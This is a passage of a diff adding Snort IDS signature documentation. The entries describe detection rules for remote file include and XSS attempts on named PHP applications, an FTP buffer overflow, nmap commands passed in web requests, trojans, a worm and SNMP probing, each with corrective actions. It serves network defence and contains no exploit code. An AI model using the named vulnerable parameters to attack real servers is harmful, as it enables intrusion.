+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000633.txt
+++ snort-2.8.5.2/doc/signatures/100000633.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000633
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_active.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_active.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000651.txt
+++ snort-2.8.5.2/doc/signatures/100000651.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000651
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "homepage" parameter in the "index.php" script 
+used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1976.txt
+++ snort-2.8.5.2/doc/signatures/1976.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1976
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow vulnerability associated with CesarFTPD FTP server DELE command. 
+
+--
+Impact:
+Remote access.  A successful attack may permit the remote execution of arbitrary commands with system privileges.
+
+--
+Detailed Information:
+CesarFTPD offers FTP servers for Windows hosts. A vulnerability exists with the DELE command that can cause a buffer overflow and permit the execution of arbitrary commands with system privileges. The buffer overflow can be caused by supplying an overly long argument to the DELE command.
+
+--
+Affected Systems:
+	Hosts running CesarFTP 0.98b.
+
+--
+Attack Scenarios:
+An attacker can supply an overly long file argument with the DELE command, causing a buffer overflow.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0826
+
+Bugtraq:
+http://www.securityfocus.com/bid/2972
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1361.txt
+++ snort-2.8.5.2/doc/signatures/1361.txt
@@ -0,0 +1,58 @@
+Rule: 
+
+--
+Sid: 
+1361
+
+-- 
+Summary:
+A web command execution attack involving the use of a
+"nmap" command
+
+-- 
+Impact: 
+Possible intelligence gathering activity.
+
+-- 
+Detailed Information: 
+The attacker may have gained the ability to execute system commands remotely or the web server may be incorrectly configured to allow such access.
+
+This rule generates an event when a "nmap" command is used over a plain-text (unencrypted) connection on one of the specified web ports to the target web server. The "nmap" command may be used to discover open ports, services and operating system information on hosts.
+
+The rule looks for the "nmap" command in the client to web server network traffic and does not indicate whether the command was actually successful. The presence of the "nmap" command in the URI indicates that an attacker attempted to trick the web server into executing system in non-interactive mode i.e. without a valid shell session.
+
+Alternatively this rule may generate an event in an unencrypted HTTP tunneling connection to the server or a shell connection via another exploit against the web server.
+
+-- 
+Attack Scenarios: 
+An attacker uses a "nmap" command to probe other hosts for further exploitation.
+
+--
+Ease of Attack: 
+Simple. No exploit software required
+
+-- 
+False Positives: 
+Any string containing 'nmap' followed by space in the URL will trigger the alarm.
+
+--
+False Negatives: 
+none known
+
+-- 
+Corrective Action: 
+Check the web server software for vulnerabilities and possible upgrades or patches for the system to the latest version of the web software, also investigate the server logs for signs of compromise
+
+Webservers should not be allowed to view or execute files and binaries outside of it's designated web root or cgi-bin. Disallowing execution of this binary via a URI is suggested.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/477.txt
+++ snort-2.8.5.2/doc/signatures/477.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+
+Sid:
+477
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP source quench
+datagram.
+
+--
+
+Impact:
+ICMP source quench message are generated by gateway devices that no longer
+have the buffer space needed to queue datagrams for output to the next route.
+This could be an indication of a routing problem, network capacity problem, 
+or on going Denial of Service attack.
+
+--
+
+Detailed Information:
+ICMP source quench messasges are generated when a gateway device runs out
+of buffer space to process incoming network traffic.  This is an informational
+message that is generated in an attempt to inform the remote host generating
+the traffic to limit the speed at which it is sending network traffic to
+the remote host.
+
+--
+
+Attack Scenarios:
+Denial of Service.  Attackers could potenially use ICMP source quench datagrams
+to rate limit a remote host that listens to unsolicited ICMP source quench 
+datagrams.   
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of datagram.
+
+--
+
+False Positives:
+Legitimate source quench datagrams will trigger this rule.
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to block incoming ICMP source quench datagrams.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://www.whitehats.com/info/IDS238
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/152.txt
+++ snort-2.8.5.2/doc/signatures/152.txt
@@ -0,0 +1,103 @@
+Rule:
+
+--
+Sid:
+152, 157-158
+
+--
+Summary:
+Backdoor.Backconstruction is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data via download, upload of files, execution of files
+and reboot the targeted machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Backconstruction
+sever to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+	SID	Message
+	---	-------
+	152	BackConstruction 2.1 Connection (outgoing TCP
+connection)
+	157	BackConstruction 2.1 Client FTP Open Request (incoming
+TCP connection)
+	158	BackConstruction 2.1 Server FTP Open Reply (outging TCP
+connection)
+
+This Trojan is commonly used to install other Trojan programs.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is located at <drive>:\WINDOWS\Cmctl32.exe
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	Shell = "<drive>:\WINDOWS\Cmctl32.exe"
+
+Removal of this entry is required.
+
+Delete the file <drive>:\WINDOWS\Cmctl32.exe
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS505
+
+Dark-e:
+http://www.dark-e.com/archive/trojans/backc/21/index.shtml
+
+Pest Patrol:
+www.pestpatrol.com/PestInfo/b/back_construction.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1639.txt
+++ snort-2.8.5.2/doc/signatures/1639.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 1639
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+IRC Protocol
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/950.txt
+++ snort-2.8.5.2/doc/signatures/950.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+950
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000714.txt
+++ snort-2.8.5.2/doc/signatures/100000714.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000714
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PHPRaid" application running on a webserver. Access to the file "view.php" using a remote file being passed as the "phpraid_dir" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpraid_dir" parameter in the "view.php" script used by the "PHPRaid" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPRaid
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1069.txt
+++ snort-2.8.5.2/doc/signatures/1069.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1069
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+NGS Whitepaper - Advanced SQL Injection
+www.nextgenss.com/papers/advanced_sql_injection.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/112-3.txt
+++ snort-2.8.5.2/doc/signatures/112-3.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+112-3
+
+--
+Summary:
+This event is generated when the pre-processor spp_arpspoof detects
+network traffic that may constitute an attack. Specifically a
+etherframe arp mismatch dst was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_arpspoof pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000169.txt
+++ snort-2.8.5.2/doc/signatures/100000169.txt
@@ -0,0 +1,57 @@
+Rule: 
+
+--
+Sid: 
+100000169
+
+-- 
+Summary: 
+The application fingerprinting tool Amap has been detected in HTTP traffic.
+
+--
+Impact:
+An attacker may be attempting to gather information about services on a 
+monitored network, in order to discover vulnerabilities in those services.
+
+--
+Detailed Information:
+Amap is an application fingerprinting tool released by a group of security 
+experts called THC, "The Hacker's Choice"; it is designed to identify services 
+reliably irrespective of the port they are run on. Amap functions by sending 
+"triggers" to open ports on a remote system which are designed to elicit a 
+response from a particular service. This rule is designed to detect the SSL 
+trigger sent by the program.
+
+--
+Affected Systems:
+Any system running an SSL-enabled web server.
+
+--
+Attack Scenarios:
+Attackers will use the Amap application fingerprinting tool.
+
+--
+Ease of Attack:
+Simple, as the program is publicly available and is well-documented.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check system logs and Snort alert logs for suspicious activity.
+
+--
+Contributors:
+rmkml
+Sourcefire Research Team
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1216.txt
+++ snort-2.8.5.2/doc/signatures/1216.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1216
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1893.txt
+++ snort-2.8.5.2/doc/signatures/1893.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1893
+
+--
+Summary:
+This event is generated when SNMP communications do not contain a 
+community name.
+
+--
+Impact:
+Medium to Serious. Depending on if the community string was for 
+read-only, read-create or read-write an attacker could gain a varying 
+level of access to a system.
+
+--
+Detailed Information:
+An SNMP community string is the authentication process that a host 
+running SNMP uses to grant access. By supplying a blank community string
+and attacker may be attempting to gain access to SNMP functionality for
+a device that has not been configured correctly.
+
+--
+Affected Systems:
+Numerous. Routers, switches, servers, NAS systems, many others.
+
+--
+Attack Scenarios:
+An attacker can launch a scan of all network attached devices looking 
+for port 161 (UDP) and then attempt to gain access using SNMP.
+
+--
+Ease of Attack:
+Simple. There are many free SNMP "tree walking" programs, an example of 
+such is getIF.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Ensure that all devices using SNMP have a community string assigned.
+
+Make sure that all devices that have SNMP turned on have complex 
+passwords assigned.
+
+Disable unneeded WRITE / CREATE community strings.
+
+Since SNMP traffic is not encrypted, use a packet filtering firewall to 
+restrict SNMP communications to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  Mike Rivett ebiz@rivett.org
+
+-- 
+Additional References:
+
+GetIF:
+http://www.wtcs.org/snmp4tpc/getif.htm
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0517
+
+--
--- snort-2.8.5.2.orig/doc/signatures/511.txt
+++ snort-2.8.5.2/doc/signatures/511.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+511
+
+--
+Summary:
+This event is generated when an attempt is made to gain access to a PC
+running pcAnywhere
+
+--
+Impact:
+Serious. By the very nature of pcAnywhere, without a strong administrative
+password, a successful attack will allow the attacker to gain total 
+control of the machine.
+
+--
+Detailed Information:
+pcAnywhere is a remote control administrative software package produced 
+by Symantec (http://www.symantec.com/pcanywhere/Consumer/features.html) 
+it allows control of a system via network or RAS connection.
+
+--
+Affected Systems:
+	Windows XP Home and Professional
+	Windows 2000 Professional/Server
+	Windows NT Workstation and Server 4.0
+	Windows 98/Me
+
+--
+Attack Scenarios:
+With a copy of pcAnywhere, and attacker can scan a network (port 22) or
+war-dial a series of modems, looking for pcAnywhere signatures.
+
+--
+Ease of Attack:
+Simple. All that is required is an install of pcAnywhere and a host
+to connect to.
+
+--
+False Positives:
+Since pcAnywhere uses the same port as SSH (22) a simple open port scan 
+can show hosts that my not have pcAnywhere installed
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Make sure only servers and workstations that require remote control have
+pcAnywhere installed.
+Make sure that a strong password is required for any level of access, 
+this ideally should be coupled with some for of alternate 
+authentication, such as SecurID, modem callback or be blocked at the 
+external firewall so that the remote control functionality is only 
+available on the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  Mike Rivett ebiz@rivett.org
+
+-- 
+Additional References:
+
+RSA:
+RSA SecurID (www.rsasecurity.com/products/securid/)
+
+Arachnids:
+http://www.whitehats.com/info/IDS240
+
+--
--- snort-2.8.5.2.orig/doc/signatures/734.txt
+++ snort-2.8.5.2/doc/signatures/734.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+734
+
+--
+Summary:
+This event is generated when Matrix worm activity is detected.
+
+--
+Impact:
+Severe - Windows system files can be deleted/replaced/infected 
+(Wsock32.dll, Explorer.exe and Rundll32.exe). 
+
+The virus propagation is done when a user sends e-mail, but variants may
+exist that display other characteristics.
+
+--
+Detailed Information:
+Matrix worm is distributed via e-mail when a user sends some e-mail to a recipient. The attachement name is random. File suffixes can be .exe, .com, .bat, .pif, .scr, .jpg.pif.. etc. The worm code uses plugins which can make the virus really dangerous (e.x. installing backdoors). Removal could be difficult, but free removal tools exist (see below).
+
+--
+Attack Scenarios:
+An attacker sends the Matrix worm using a MIME exploit which executes the virus code automatically. The worm can now distribute itself using the mail client of the user and can install backdoors and infect EXE files.
+
+--
+Ease of Attack:
+Simple. The worm does all the distribution work.
+
+--
+False Positives:
+E-Mail that contains the body "Software provide by [MATRiX]"
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Symantec W95.MTX removal tool: http://www.sarc.com/avcenter/venc/data/w95.mtx.fix.tool.html
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000553.txt
+++ snort-2.8.5.2/doc/signatures/100000553.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000553
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "PHPMySMS" application running on a webserver. 
+Access to the file "gateway.php" using a remote file being passed as the 
+"ROOT_PATH" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "ROOT_PATH" parameter in the "gateway.php" script used 
+by the "PHPMySMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMySMS
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000841.txt
+++ snort-2.8.5.2/doc/signatures/100000841.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000841
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "PerForms" application running on a webserver. Access to the file "performs.php" using a remote file being passed as the "mosConfig_absolute_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "mosConfig_absolute_path" parameter in the "performs.php" script used by the "PerForms" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PerForms
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1025.txt
+++ snort-2.8.5.2/doc/signatures/1025.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1025
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running Microsoft IIS.
+
+This event indicates that an attempt has been made to access
+/scripts/perl on a web server. This may indicate that an attacker is
+attempting to run code of their choosing on that server.
+
+Perl should not be installed in a directory directly accessible via the
+Internet on a web server.
+
+--
+Affected Systems:
+	Any host using IIS with Active Perl installed.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the 
+IIS implementation. The attacker might then gain administrator access to
+the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+Access to a webserver that stores web cgi scripts in /scripts/perl/ will
+generate events.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000773.txt
+++ snort-2.8.5.2/doc/signatures/100000773.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000773
+--
+Summary:
